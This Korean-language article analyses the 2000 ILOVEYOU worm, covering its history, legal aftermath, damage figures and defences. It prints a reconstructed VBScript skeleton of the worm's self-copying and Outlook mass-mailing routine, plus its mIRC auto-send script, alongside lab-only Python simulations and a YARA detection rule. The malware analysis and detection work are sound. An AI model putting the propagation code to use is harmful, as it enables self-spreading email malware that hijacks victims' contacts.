💌 ILOVEYOU / LoveLetter (2000) — 'LOVE-LETTER-FOR-YOU.TXT.vbs' 한 통이 1,000만 대를 감염시킨 최초의 대량 메일 웜

1. 배경/역사 — 마닐라의 논문 한 편에서 시작된 5월

1999년 Melissa가 매크로 바이러스로 아웃룩 주소록을 처음 대량으로 건드렸고, 2000년 초 Anna Kournikova·Navidad 같은 VBS 계열이 '테마형 첨부파일'의 위력을 예고했다. 그러나 ILOVEYOU는 이 모든 것을 한 단계 끌어올렸다. 테마가 연애였고, 확장자가 숨겨져 있었고, 코드가 1KB 남짓의 사람이 읽을 수 있는 VBScript였다.

배경에는 필리핀의 통신 환경이 있다. 2000년 마닐라의 가정용 인터넷은 사용한 시간만큼 요금을 내는 종량제 다이얼업이 일반적이었다. AMA Computer College에 다니던 Onel de Guzman은 접속료를 내지 않으려고 다이얼업 암호를 빼내 다른 사람의 계정으로 접속하는 트로이목마를 졸업 논문으로 제출했고, 학교는 "불법"이라는 이유로 거절했다. 그는 그 코드의 '암호 탈취' 부분을 떼어내고 '주소록으로 자기 자신을 퍼뜨리는' 부분을 붙여 2000년 5월 4일 내보냈다. 논문이 거절된 지 몇 달 뒤였다.

첫 신고는 2000년 5월 4일 홍콩에서 들어왔다. 영업일이 시작되는 순서대로 — 아시아 → 유럽 → 미주 — 시차를 타고 24시간 안에 지구를 한 바퀴 돌았다. 영국 하원, 덴마크 의회, CIA, 펜타곤, 포드, 다우존스, ABC 방송 등의 메일 시스템이 잠겼고, 필리핀 증권거래소는 시스템을 멈추고 수작업으로 거래를 처리해야 했다. 미국 정부는 일부 분류 시스템의 외부 연결을 차단했고, 스웨덴 의회도 메일을 닫았다.

수사는 빠르게 진행됐지만 결말은 허무했다. 필리핀 경찰은 5월 8일 de Guzman의 자택을 수색했으나, 당시 필리핀 형법에는 컴퓨터를 통한 재산 침해·악성코드 유포를 처벌하는 조항이 없었다. 검찰은 절도·사기 혐의 적용을 시도했지만 실패했고, 2000년 6월 14일 제정된 전자상거래법(RA 8792)이 소급 적용되지 않아 5월 21일 기소가 취하됐다. 이 사건은 이후 각국이 사이버 범죄 처벌법을 서두르게 만든 결정적 사례로 남았다(헝가리 부다페스트 협약 확대, 필리핀 사이버범죄예방법(2012) 등).

2. 감염·전파 경로 — 세 개의 문을 동시에 두드린다

ILOVEYOU의 확산력은 한 번의 더블클릭이 세 갈래로 동시에 퍼진다는 점에서 나왔다. 사용자는 "지인이 보낸 러브레터"를 열었을 뿐이지만, 그 순간 ① 메일함 ② 내 하드디스크 ③ 내가 들어가는 IRC 채널이 모두 감염 경로로 바뀐다.

1. 이메일(1차 엔진) — 아웃룩 MAPI: 실행 즉시 Outlook.Application을 COM으로 생성해 GetNameSpace("MAPI")로 모든 주소 목록(AddressLists)의 모든 항목에 자기 자신을 첨부해 발송한다. 사용자는 '보내기' 버튼을 누르지 않는다.
2. 파일시스템(2차 엔진) — listadriv(): Scripting.FileSystemObject로 모든 드라이브의 모든 폴더를 재귀적으로 훑으며 확장자별로 다른 감염 동작을 수행한다. 공유 폴더가 마운트돼 있으면 그 경로도 포함된다.
3. IRC(3차 엔진) — mIRC script.ini: mirc.ini를 찾으면 같은 폴더에 script.ini를 새로 써서, 내가 채널에 들어갈 때마다 채널의 모든 사용자에게 파일을 DCC 전송하도록 만든다. 사람이 많을수록 지수가 커지는 구조다.

주목할 점은 네트워크 스캔이 전혀 없다는 것이다. Morris·Code Red·Slammer가 '취약한 서비스'를 찾아 헤맸다면, ILOVEYOU는 이미 신뢰가 형성된 관계(주소록·채널)를 그대로 공격 표면으로 썼다. 방화벽은 아무것도 막지 못했다. 트래픽은 정상적인 SMTP 25번 포트였고, 발신자는 내 주소록에 있는 지인이었다.

확산 속도를 만든 또 하나의 요소는 제목과 첨부의 일관성이다. 모든 메일이 똑같이 "ILOVEYOU" / "kindly check the attached LOVELETTER coming from me." 였기 때문에, 사용자는 "여러 명이 나에게 같은 러브레터를 보냈다"고 해석했다. 지금의 스피어피싱이 개인화로 신뢰를 얻는다면, 2000년의 이 웜은 사회적 증거(social proof)의 착시로 신뢰를 얻었다.

3. 동작 원리 상세 — 1KB 스크립트의 해부

원본은 공개 분석 자료로 광범위하게 문서화돼 있다. 아래는 그 구조를 재구성한 것이며, 실행 가능한 원본 코드가 아니다(핵심 상수·경로·함수 이름만 보존한 축약형). 코드 서두에는 제작자가 남긴 흔적으로 알려진 주석 rem barok -loveletter(vbe) <i hate go to school> by: spyder ... Manila, Philippines / March 5, 2000이 있었다.

3.1 실행 진입점 — 5개의 복사본과 3개의 레지스트리 키

스크립트는 WScript.ScriptFullname으로 자기 자신의 텍스트를 읽어 변수에 담는다(vbscopy). 이후 모든 감염 동작은 "이 문자열을 다른 위치에 쓰는 일"로 통일된다. 이것이 1KB짜리 코드가 파일·메일·IRC를 모두 감염시킬 수 있었던 이유다.

' ── 구조 재구성(교육용 요약). 원본 바이너리/전체 코드 아님 ──
On Error Resume Next                      ' 오류가 나도 멈추지 않는다 → 감염 지속성
Set fso  = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy  = file.ReadAll                   ' ★ 자기 자신을 문자열로 보관

Set dirwin = fso.GetSpecialFolder(0)      ' C:\Windows
Set dirsys = fso.GetSpecialFolder(1)      ' C:\Windows\System32

Set c = fso.GetFile(WScript.ScriptFullname)
c.Copy dirsys & "\MSKernel32.vbs"         ' ① 위장 이름으로 상주
c.Copy dirwin & "\Win32DLL.vbs"           ' ② 위장 이름으로 상주
c.Copy dirsys & "\LOVE-LETTER-FOR-YOU.TXT.vbs"   ' ③ 메일 첨부용 원본 확보

regruns()      ' 자동 실행 등록 + 2단계 페이로드 준비
htmls()        ' 확장자별 파일 감염
spreadtoemail()' 아웃룩 주소록 전체 발송
listadriv()    ' 모든 드라이브 순회

파일 이름을 MSKernel32.vbs, Win32DLL.vbs로 정한 것은 정상 시스템 파일처럼 보이게 하기 위한 위장이다. 실제 MSKernel32.dll·kernel32.dll과 혼동되도록 이름을 붙였다.

3.2 spreadtoemail() — 주소록을 '한 번만' 긁는 장치

가장 치명적인 함수다. COM으로 아웃룩을 조작해 주소 목록을 순회하고, 각 수신자에게 첨부파일을 붙여 Send한다. 여기에 중복 발송 방지용 레지스트리 마커가 붙어 있었다.

' 의사 코드 — 실제 발송은 하지 않는다
Set out  = CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")

For Each list In mapi.AddressLists            ' 연락처 폴더별로
    regv = RegRead("HKCU\Software\Microsoft\WAB\" & list)
    If regv = "" Then regv = 0
    If list.AddressEntries.Count > regv Then
        regv = list.AddressEntries.Count
        RegWrite "HKCU\Software\Microsoft\WAB\" & list, regv   ' ★ 처리한 개수 기록
    End If

    For i = 1 To regv
        addr = list.AddressEntries(i)
        If RegRead("HKCU\Software\Microsoft\WAB\" & addr) = "" Then
            Set m = out.CreateItem(0)             ' 새 메일
            m.Recipients.Add addr                 ' 수신자 1명
            m.Subject = "ILOVEYOU"
            m.Body    = vbCrLf & "kindly check the attached LOVELETTER coming from me."
            m.Attachments.Add dirsys & "\LOVE-LETTER-FOR-YOU.TXT.vbs"
            m.Send                                ' 사용자 확인 없이 즉시 발송
        End If
    Next
Next

HKCU\Software\Microsoft\WAB\ 아래에 주소 목록 이름과 개별 주소를 마커로 기록한 것이 핵심이다. ① 같은 사람에게 무한정 메일을 보내 SMTP 서버에서 차단되는 것을 막고, ② 이미 감염된 사람이 다시 감염됐을 때 새로 추가된 주소만 긁어가도록 했다. 즉 단순 폭주가 아니라 상태를 가진 확산이었다. 오늘날 랜섬웨어의 '감염 마커 파일'(또는 Mutex)과 같은 발상이다.

부작용도 있었다. 주소록이 수천 개인 기업 사용자가 감염되면 한 대의 PC가 수천 통을 발송해 사내 메일 서버의 큐가 터졌다. 실제로 초기 확산은 웜의 확산 속도보다 메일 서버의 처리 한계가 결정했다. 많은 조직이 "메일이 안 온다"를 이상 신호로 감지한 이유다.

3.3 infectfiles() / listadriv() — 확장자별로 다른 세 가지 감염

파일 감염 로직은 확장자에 따라 덮어쓰기 · 추가(append) · 이름 변환으로 갈린다. 이 차이가 "피해자마다 데이터 손실 정도가 달랐던" 이유다.

대상 확장자	동작	결과
.vbs .vbe	파일을 덮어쓴다(vbscopy로 전체 교체)	원본 스크립트 소실
.js .jse .css .wsh .sct .hta	덮어쓴 뒤 같은 이름의 .vbs 복사본을 추가 생성	원본 소실 + 감염 사본 2개
.jpg .jpeg .mp3 .mp2	원본을 삭제하고 <원본이름>.vbs를 새로 만든다	미디어 파일 유실(가장 널리 보고된 피해)
.html .htm	파일 끝에 스크립트 본문을 덧붙인다(append)	원본 보존, 열면 재감염
mirc.ini 발견 시	같은 폴더에 script.ini 생성	IRC DCC 자동 전송

listadriv()는 Drives 컬렉션을 돌며 C:부터 Z:까지, 네트워크로 매핑된 드라이브까지 재귀 순회한다. 폴더 깊이 제한도, 파일 개수 제한도 없다. 그래서 감염 직후 디스크 사용률이 급증하고(파일마다 사본 생성), 백신의 실시간 검사가 수천 건의 탐지를 쏟아냈다.

3.4 mIRC script.ini — 사람이 많은 곳에서 지수가 되는 감염

IRC 클라이언트 mIRC는 같은 폴더의 script.ini를 자동으로 읽는다. 웜은 이 파일을 직접 작성해, 내가 어떤 채널에 입장(on 1:JOIN)할 때마다 채널의 모든 사용자에게 파일을 DCC로 보내는 이벤트를 심었다.

[script]
n0=on 1:JOIN:#:{
n1=  /if ( $nick == $me ) { halt }
n2=  /.dcc send $nick C:\Windows\System32\LOVE-LETTER-FOR-YOU.HTM
n3=}

IRC에는 이미 "파일을 받으면 실행한다"는 문화가 있었다. 낯선 사람이 보낸 파일을 여는 행위가 자연스러웠고, 채널 하나에 200명이 있으면 한 번의 입장이 200건의 감염 시도가 된다. 웜이 IRC용으로 따로 LOVE-LETTER-FOR-YOU.HTM을 만든 이유도, 메일 첨부(.vbs)가 IRC에서 차단되는 경우가 있었기 때문이다.

3.5 2단계 페이로드 — WIN-BUGSFIX.EXE와 시작 페이지 트릭

웜 본체는 '확산'만 담당하고, 실제 목적(암호 탈취)은 별도 실행 파일이 맡았다. 다운로드 방식이 독특하다.

1. HKCU\...\Internet Explorer\Download Directory에서 사용자의 다운로드 폴더를 읽는다(비어 있으면 c:\).
2. IE 시작 페이지(Start Page)를 WIN-BUGSFIX.exe를 가리키는 URL로 바꾼다. 파일 확장자를 .exe로 준 것은 IE가 실행 파일을 '다운로드'로 처리하도록 유도하기 위해서다.
3. 다음에 IE를 열면 브라우저가 그 URL을 받아 다운로드 폴더에 WIN-BUGSFIX.exe를 저장한다.
4. HKLM\...\Run\WIN-BUGSFIX에 그 경로를 등록해 재부팅 시 자동 실행되게 하고, 시작 페이지를 about:blank로 되돌려 흔적을 감춘다.

즉 '브라우저를 다운로더로 쓰는' 기법이다. HTTP 클라이언트를 직접 구현하지 않고도 파일을 가져올 수 있었고, 트래픽은 정상적인 웹 요청으로 보였다. 이 트로이목마는 다이얼업 네트워크 암호와 캐시된 자격증명을 수집해 특정 메일 주소로 전송하려 했다. 다행히 이 다운로드 URL은 사건 직후 통신사·호스팅 업체가 차단해 대규모 2차 피해는 발생하지 않았다.

3.6 왜 이렇게 빨랐나 — 다섯 가지 구조적 이유

• 확장자 은닉: Windows 98/2000의 기본 설정은 알려진 확장자를 숨긴다. LOVE-LETTER-FOR-YOU.TXT.vbs가 탐색기에서 LOVE-LETTER-FOR-YOU.TXT로 보였다. '텍스트 파일이니 안전하다'는 판단이 UI에 의해 만들어진 착각이었다.
• WSH의 무방비 실행: .vbs 더블클릭 = 즉시 실행. 서명 검증도, 경고도, 샌드박스도 없었다. 오늘날의 '매크로 사용' 버튼 같은 마찰이 전혀 없었다.
• COM 자동화: 아웃룩·파일시스템을 정상 API로 조작했다. 취약점(exploit)이 0개인 공격이었다. 패치할 버그가 없었기 때문에 백신 시그니처 말고는 막을 방법이 없었다.
• 사회공학: 연애 테마 + 지인 발신 + 일관된 제목. 스팸 필터가 '발신자 평판'을 보던 시절, 발신자는 내가 아는 사람이었다.
• 코드의 단순함: 1KB 남짓, 사람이 읽을 수 있는 평문. 변종 제작 비용이 거의 0이었다. 실제로 사건 직후 수십 개의 변종과 "JOKE", "MOTHER'S DAY", "VIRUS ALERT" 제목의 모방품이 쏟아졌다.

4. 피해 규모/영향 — 2000년 5월 4일의 숫자

• 감염 규모: 약 1,000만 대(일부 집계 최대 4,500만 대), 전 세계 인터넷 연결 PC의 약 10%. 24시간 내 확산 기준으로 당시 최대 규모였다.
• 경제적 손실: 약 55억 달러(Computer Economics). 이후 재집계에서는 87억~100억 달러까지 제시됐다. 손실의 대부분은 메일 서버 정지·복구 인건비·생산성 손실이었다.
• 정부·의회: 영국 하원, 덴마크 의회, 스웨덴 의회, 미국 CIA·펜타곤이 메일 시스템을 차단했다. 펜타곤은 분류 시스템 일부의 외부 연결을 물리적으로 분리했다.
• 기업: 포드, 다우존스, ABC 방송 등 다수 대기업이 메일을 일시 중단했고, 일부는 아예 SMTP를 내렸다. 영국 언론사들은 외부 메일 수신을 중단하고 전화로 뉴스를 주고받았다.
• 금융·공공: 필리핀 증권거래소는 시스템을 멈추고 수작업 호가로 전환했다. 홍콩·호주 일부 은행이 지점 업무를 제한했다.
• 2차 확산: 사건 다음 날부터 모방 변종이 폭발했다. "Very Funny", "Mothers Day", "Dangerous Virus" 제목의 VBS 웜이 같은 주에 등장했고, 2001년 Anna Kournikova가 같은 문법을 재사용했다.
• 산업적 영향: MS는 Outlook 2000 SR-1(2000년 6월)과 Outlook 2002에서 위험 확장자 첨부 차단을 기본값으로 넣었다. 기업 메일 게이트웨이는 .vbs .js .wsf .hta .scr .pif 차단 목록을 표준 기능으로 채택했다. "첨부파일 확장자 정책"이라는 개념 자체가 이 사건의 산물이다.
• 법·제도: 필리핀은 RA 8792(전자상거래법)를 서둘러 제정했고, 각국이 사이버 범죄 처벌 규정을 정비하는 계기가 됐다. '처벌할 법이 없어 무죄'라는 사례는 이후 국제 공조(부다페스트 협약) 논의의 단골 근거가 됐다.

시각 (2000-05-04, UTC 기준 대략)	사건
새벽	마닐라에서 첫 유포. 홍콩 사용자들이 최초 감염 보고
오전	유럽 진입. 영국 하원·덴마크 의회 메일 마비
오후	미국 진입. 포드·다우존스·CIA·펜타곤 대응. 백신 업체 정의 긴급 배포
밤	전 세계 ISP·기업이 SMTP 임시 차단 또는 .vbs 필터 도입
5월 5일~	모방 변종 폭발. 미국·영국·필리핀 공조 수사 개시
5월 8일	de Guzman 자택 수색. 5월 21일 기소 취하(법률 공백)

5. PoC — 동작 원리 재현 (교육용·로컬 랩 전용)

PoC 1 — 대량 메일 확산 모델 (실제 발송 없음, 확률 시뮬레이션)

웜이 왜 하루 만에 조직 전체를 덮는지를 숫자로 본다. 핵심 변수는 주소록 크기 × 첨부 실행률이다. 2000년 관측(주소록 수십~수백, 실행률 20~40%)을 가정하면 4~5단계에서 포화된다.

#!/usr/bin/env python3
"""교육용: ILOVEYOU류 대량 메일 확산을 '확률 모델'로만 재현한다.
   실제 네트워크/메일 전송은 일절 없다. 모든 수신자는 가상 인물."""
import random
random.seed(20000504)

POP        = 50_000   # 가상 조직의 메일 계정 수
BOOK       = 60       # 한 감염자 주소록 크기 (2000년 기업 사용자 가정)
OPEN_RATE  = 0.30     # 첨부 실행률 (가정)
STEPS      = 10       # 확산 단계 (메일 1왕복 ≈ 수십 분)

infected = {0}                      # 시드 1명 (가상)
print(f"{'단계':>4} {'신규':>8} {'누적':>8} {'감염률':>8}")
for step in range(1, STEPS + 1):
    new = set()
    for host in infected:
        for _ in range(BOOK):                # 주소록 순회
            target = random.randrange(POP)
            if target not in infected and random.random() < OPEN_RATE:
                new.add(target)              # 더블클릭 → 감염
    infected |= new
    print(f"{step:>4} {len(new):>8} {len(infected):>8} "
          f"{100*len(infected)/POP:>7.1f}%")
    if len(infected) >= POP * 0.9:
        print("→ 90% 포화. 메일 게이트웨이가 .vbs를 차단하기 전까지 멈추지 않는다.")
        break

해설: 확산을 멈추는 지점은 웜의 능력이 아니라 방어 지점이다. 실행률을 0.30 → 0.03으로 낮추기만 해도(확장자 표시 + 첨부 차단) 포화 단계가 3~4단계 뒤로 밀린다. 실제 2000년 5월 4일 밤, 전 세계 게이트웨이가 .vbs를 차단한 순간 곡선이 꺾였다.

PoC 2 — 파일 감염 메커니즘 (샌드박스 한정 · 원본 보존형 스텁)

웜의 infectfiles()가 확장자별로 다르게 동작한다는 점을 가역적으로 재현한다. 실제 웜은 JPG/MP3 원본을 삭제했지만, 여기서는 원본을 숨김 이름으로 옮기고 스텁만 배치해 "왜 어떤 파일은 복구되고 어떤 파일은 복구되지 않는지"를 체험한다. /tmp 밖에서는 절대 실행되지 않도록 가드를 둔다.

#!/usr/bin/env python3
"""교육용 파일 감염 메커니즘 재현 — /tmp 샌드박스 전용, 파괴 없음."""
import os, shutil
from pathlib import Path

LAB = Path("/tmp/loveletter_lab")
assert str(LAB).startswith("/tmp/"), "랩 디렉터리 밖에서는 실행 금지"
(LAB / "docs").mkdir(parents=True, exist_ok=True)

# 가상 피해 파일 생성 (실제 사용자 데이터 아님)
for n in ["photo.jpg", "song.mp3", "index.html", "note.vbs"]:
    (LAB / "docs" / n).write_text(f"<가상 원본: {n}>", encoding="utf-8")

STUB = "# (교육용 스텁) 실제로는 여기에 웜 본문이 들어간다\n"

def infect(p: Path) -> str:
    ext = p.suffix.lower()
    if ext in {".vbs", ".vbe"}:                     # 덮어쓰기 → 복구 불가
        p.write_text(STUB, encoding="utf-8"); return f"{p.name}: 덮어씀(원본 소실)"
    if ext in {".jpg", ".jpeg", ".mp3", ".mp2"}:    # 원본 은닉 + 스텁 (가역 변형)
        hidden = p.with_name(p.name + ".orig")
        p.rename(hidden)
        p.with_name(p.name + ".vbs").write_text(STUB, encoding="utf-8")
        return f"{p.name}: 원본→{hidden.name}, {p.name}.vbs 생성"
    if ext in {".html", ".htm"}:                    # 추가(append) → 원본 보존
        with p.open("a", encoding="utf-8") as f:
            f.write("\n\n")
        return f"{p.name}: 끝에 스크립트 추가(원본 보존)"
    return f"{p.name}: 대상 아님"

for f in sorted((LAB / "docs").iterdir()):
    print(infect(f))

print("\n[복구] note.vbs는 원본이 사라졌고, photo.jpg는 .orig로 남아 있다:",
      sorted(x.name for x in (LAB / "docs").iterdir()))

해설: 이 표 하나가 2000년의 혼란을 설명한다. 같은 웜에 감염됐어도 사진은 사라지고 HTML은 남았다. 백신 업체가 "복구 도구"를 배포할 수 있었던 것도, HTML/VBS 계열이 원본을 보존한 채 코드만 덧붙였기 때문이다. 반대로 .vbs로 덮인 파일은 되돌릴 정보가 없었다.

PoC 3 — mIRC script.ini DCC 트랩 (파일 생성까지만, 네트워크 없음)

IRC 전파가 왜 '사람 수의 제곱'이 되는지 확인한다. 아래는 랩 폴더에 텍스트 파일을 하나 쓸 뿐이며, mIRC를 설치·실행하지 않는다.

#!/usr/bin/env python3
"""교육용: mIRC script.ini 자동 전송 트랩의 '형태'만 재현한다.
   mIRC가 설치돼 있지 않은 랩에서, 어떤 파일이 왜 위험한지만 관찰한다."""
from pathlib import Path

LAB = Path("/tmp/loveletter_lab"); LAB.mkdir(exist_ok=True)
TRAP = LAB / "script.ini"

TRAP.write_text(
    "[script]\n"
    "n0=on 1:JOIN:#:{\n"
    "n1=  /if ( $nick == $me ) { halt }\n"
    "n2=  /.dcc send $nick /LOVE-LETTER-FOR-YOU.HTM\n"
    "n3=}\n", encoding="utf-8")

print("생성:", TRAP)
print("→ mIRC는 이 파일을 자동 로드한다. 이후 채널 입장마다 참가자 전원에게 DCC 전송.")
print("→ 채널 인원 N명이면 1회 입장 = N건 전송 시도. 감염자가 늘면 N×M으로 폭발.")
print("\n[탐지 포인트] mirc.ini가 있는 폴더에 script.ini가 '새로' 생기고")
print("              본문에 '.dcc send' + 외부 실행파일/스크립트 경로가 있으면 즉시 의심.")

해설: IRC 전파의 본질은 "입장 이벤트 = 발송 트리거"다. 사용자는 아무것도 하지 않는데, 채널에 들어가는 행위 자체가 배포 행위가 된다. 오늘날 Discord/Slack 봇 토큰 탈취나 웜형 확산(예: 2024년 Discord CDN 악용 캠페인)도 같은 문법을 쓴다 — "내가 속한 공간의 모든 구성원에게 자동 전송".

PoC 4 — YARA 탐지 룰 (방어 측)

ILOVEYYOU는 코드가 평문이므로 문자열 기반 탐지가 매우 효과적이었다. 아래는 공개 분석 자료에 등장한 지표(주석 문구·첨부 이름·메일 본문·상주 파일명)를 조합한 교육용 룰이다. 2 of them 조건으로 오탐을 줄였다.

rule VBS_LoveLetter_ILOVEYOU_Markers
{
    meta:
        description = "ILOVEYOU / LoveLetter VBS mass-mailer 지표 (교육용)"
        author      = "security-lab"
        date        = "2026-10-22"
        reference   = "https://en.wikipedia.org/wiki/ILOVEYOU"
        scope       = "file"
    strings:
        $hdr1 = "barok -loveletter(vbe)"            ascii nocase
        $hdr2 = "i hate go to school"               ascii nocase
        $hdr3 = "GRAMMERSoft Group"                 ascii nocase
        $att  = "LOVE-LETTER-FOR-YOU"               ascii nocase
        $body = "kindly check the attached LOVELETTER coming from me." ascii nocase
        $drop1 = "MSKernel32.vbs"                   ascii nocase
        $drop2 = "Win32DLL.vbs"                     ascii nocase
        $drop3 = "WIN-BUGSFIX.exe"                  ascii nocase
        $mirc = "script.ini"                        ascii nocase
    condition:
        filesize < 30KB and 2 of them
}

해설: 실제 운영에서는 파일 룰과 함께 ① wscript.exe가 메일 클라이언트·브라우저를 자식 프로세스로 생성하는 행위(아웃룩 COM 자동화), ② HKCU\Software\Microsoft\WAB\ 키의 비정상 다량 쓰기, ③ Start Page 값이 .exe URL로 변경되는 이벤트를 상관 분석한다. 단일 지표는 오탐이 많지만, 스크립트 실행 + 대량 발송 + 시작 페이지 변경이 겹치면 확신도가 급등한다.

6. 방어 방법 — 2000년의 답, 그리고 오늘의 답

6.1 즉시 조치 (당시 기준)

• 첨부 차단: 메일 게이트웨이에서 .vbs .vbe .js .jse .wsf .hta .scr .pif를 차단. 2000년 5월 4일 밤 실제로 확산을 꺾은 조치다.
• 확장자 표시: 폴더 옵션에서 '알려진 파일 형식의 확장명 숨기기' 해제. 교육보다 효과가 즉각적이었다.
• WSH 비활성화: 업무에 불필요한 PC는 wscript.exe/cscript.exe 실행을 차단(SRP/AppLocker).
• 아웃룩 보안 설정: 프로그래밍 방식(COM) 액세스 차단, 주소록 접근 시 사용자 확인. Outlook 2000 SR-1 이후 기본값이 됐다.
• 감염 의심 시: 랜선 분리 → MSKernel32.vbs/Win32DLL.vbs 및 Run·RunServices 키 제거 → script.ini 삭제 → IE 시작 페이지 복구 → 백신 전체 검사 → 패치가 아니라 '설정'을 먼저 고친다.

6.2 오늘날의 관점

• 스크립트 실행 자체를 공격면으로 본다: .vbs .js .hta .wsf .lnk .iso는 여전히 최다 유포 포맷이다. Windows 11의 WSH 기본 비활성화·Mark-of-the-Web·ASR 규칙(Office 자식 프로세스 차단, 스크립트 실행 차단)은 이 계보의 연장이다.
• 메일 인증 3종: SPF·DKIM·DMARC는 '지인 발신' 위장을 줄인다. 다만 ILOVEYOU는 진짜 지인 계정에서 나왔으므로 100% 방어는 아니다 → 내부 발신 이상 탐지(한 사용자가 1시간에 500통)가 필요하다.
• 이그레스·행위 기반 탐지: "워드프로세서/스크립트 호스트가 메일 클라이언트를 조작"하는 행위는 정상 업무에 거의 없다. EDR의 프로세스 트리 룰 하나로 잡히는 패턴이다.
• 매크로/스크립트 정책의 일관성: 사용자별 예외를 허용하면 웜은 그 예외를 찾아간다. 2000년에도 2026년에도 같다.
• 확산 모델로 대비한다: PoC 1처럼 내 조직의 주소록 구조·실행률로 확산 시뮬레이션을 돌려보면, "차단 정책 1개가 몇 시간을 버는지"를 정량화할 수 있다. 이는 랜섬웨어 대응훈련(Tabletop)에도 그대로 쓰인다.
• 법·제도도 방어다: 처벌 규정이 없으면 수사가 불가능하고, 수사가 없으면 억지력도 없다. 필리핀의 법 공백은 '기술이 법보다 먼저 갈 때'의 비용을 보여준 사례다.

7. 교훈 — ILOVEYOU가 남긴 네 가지

• 취약점이 없어도 대규모 침해는 가능하다. 익스플로잇 0개, 메모리 손상 0건. 정상 API(COM)와 정상 기능(주소록·파일 복사·IRC 스크립트)만으로 1,000만 대가 감염됐다. 오늘날의 피싱·계정 탈취·BEC가 같은 계보다.
• UI가 곧 보안 정책이다. 확장자를 숨기는 기본값 하나가 '텍스트 파일'을 '실행 파일'로 위장시켰다. 기본값(default)은 사용자의 판단을 대신한다.
• 신뢰 관계는 공격 표면이다. 주소록·채널·공유 폴더는 '이미 인증된 네트워크'다. 제로트러스트가 등장한 이유를 2000년의 이 웜이 이미 증명했다.
• 법의 공백은 피해를 두 배로 만든다. 5월 4일의 감염보다, 5월 21일의 기소 취하가 더 오래 회자됐다. 사고 대응에는 기술·조직·법 세 축이 모두 필요하다.

출처 및 함께 읽기

• Wikipedia — ILOVEYOU — 사건 연표·감염 규모·법적 결말
• FBI — The "Love Bug" Virus — 수사 경과와 국제 공조
• Microsoft Defender — VBS/Loveletter — 확장자별 감염 동작·레지스트리 흔적
• BBC News — ILOVEYOU: The virus that changed the world (10주년 회고)
• The Guardian — 'I could have done worse': ILOVEYOU 20년 후 인터뷰
• Microsoft TechNet — Outlook 전자 메일 보안 업데이트(첨부 차단 정책)
• 함께 읽기: Melissa (1999) · Code Red (2001) · Zeus / Zbot (2007) · Emotet (2014–2021)

← 목록으로 돌아가기